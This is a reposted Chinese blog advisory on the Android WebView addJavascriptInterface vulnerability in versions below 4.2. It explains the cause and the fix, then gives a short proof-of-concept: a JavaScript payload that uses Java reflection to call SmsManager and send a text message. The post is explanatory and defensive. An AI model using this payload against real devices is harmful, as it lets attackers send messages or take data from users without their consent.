webview漏洞 -转

原文链接：http://www.cnblogs.com/goodhacker/p/3343837.html

一、漏洞描述

　　近期，微信等多款安卓流行应用曝出高危挂马漏洞：只要点击好友消息或朋友圈中的一条网址，手机就会自动执行黑客指令，出现被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上，包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用均被曝光同类型漏洞。

二、影响版本

　　Android系统版本低于4.2

三、漏洞原理

漏洞点：WebView.addJavascriptInterface(Object obj, String interfaceName) ;

漏洞触发条件：

1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。

2、使用WebView加载外部网页。

3、Android系统版本低于4.2

漏洞原因：

Android系统通过WebView.addJavascriptInterface 方法注册可供javascript调用的java对象，以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类，最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

四、POC代码

我们利用该漏洞调用SmsManager发送短信（被攻击APK要有短信发送权限）

1 WebView webview = new WebView(context);
2
3 WebSettings webset= webview.getSettings();
4 webset.setJavaScriptEnabled(true);
5 webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

利用该漏洞的外部javascript脚本：

1 <script>
2
3    var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
4
5    obj_smsManager.sendTextMessage("159********",null,"test",null,null);
6
7 </script>

　　出于安全考虑，为了防止Java层的函数被随便调用，Google在4.2版本之后，规定允许被调用的函数必须以 @JavascriptInterface进行注解，所以如果某应用依赖的API Level为17或者以上，就不会受该问题的影响（注：Android 4.2中API Level小于17的应用也会受影响）。在各应用厂商修复该问题期间，我们建议用户暂时使用系统自带的浏览器访问网页，并且不要访问社交应用中陌生人发来的链接。

五、相关链接

http://drops.wooyun.org/papers/548

http://50.56.33.56/blog/?p=314

本文转自http://blog.csdn.net/androidsecurity/article/details/11131891

转载于:https://www.cnblogs.com/4-312/p/4329016.html

webview漏洞 -转相关推荐

Android Webview 漏洞复现
Android Webview 漏洞复现前言触发条件漏洞原理漏洞复现 1. 运行环境 2.1 webview介绍 2.2 漏洞核心代码 2.3 JS攻击核心代码 2.4 效果展示总结前言 ...
Android Webview历史高危漏洞与攻击面分析
文章目录前言 WebView基础极简Demo程序 JS调用Android 加载远程HTML 接口攻击场景漏洞示例程序本地攻击程序 url白名单校验代码执行漏洞 JAVA反射机制历史漏洞PO ...
移动端安全 - 安卓Android - 漏洞修复方案整理
敏感数据泄露明文传输用户名.密码和验证码等敏感信息 MD5/Base64弱加密传输手机.密码等敏感信息敏感信息在本地加密存储后台服务器地址泄露. 边信道信息泄漏在日志中对于密码等敏感信息进行加 ...
Android 渗透测试学习手册第七章不太知名的 Android 漏洞
第七章不太知名的 Android 漏洞作者:Aditya Gupta 译者:飞龙协议:CC BY-NC-SA 4.0 在本章中,我们将了解一些不太知名的 Android 攻击向量,这在 Andr ...
（转载）JS与WebView交互存在的一些问题
JS与WebView交互存在的一些问题作者隔壁的李小宝关注 2015.06.09 19:30 字数 2896 阅读 11117评论 3喜欢 35 一.背景概述 2013年Android平台暴露出 ...
Carson带你学Android：你要的WebView与 JS 交互方式都在这里了
前言现在很多App里都内置了Web网页(Hybrid App),比如说很多电商平台,淘宝.京东.聚划算等等,如下图上述功能是由Android的WebView实现的,其中涉及到Android客户端与 ...
Webview与Javascript
文章目录 0x01 WebView 概述 0x02 WebView 相关工具类 2.1 WebSettings 2.2 WebViewClient 2.3 WebChromeClient 0x03 W ...
cordova 安装ssl证书_android webview https 证书
webview使用sslError解决https跳转报错的问题到底如何使用WebView访问https的url--处理SslError呢? 在Android中,WebView是用来load http ...
Carson带你学Android：这是一份全面详细的WebView学习攻略
前言现在很多App里都内置了Web网页(Hybrid App),比如说很多电商平台,淘宝.京东.聚划算等等,如下图那么这种该如何实现呢?其实这是Android里一个叫WebView组件实现今天, ...

webview漏洞 -转

webview漏洞 -转相关推荐

最新文章

热门文章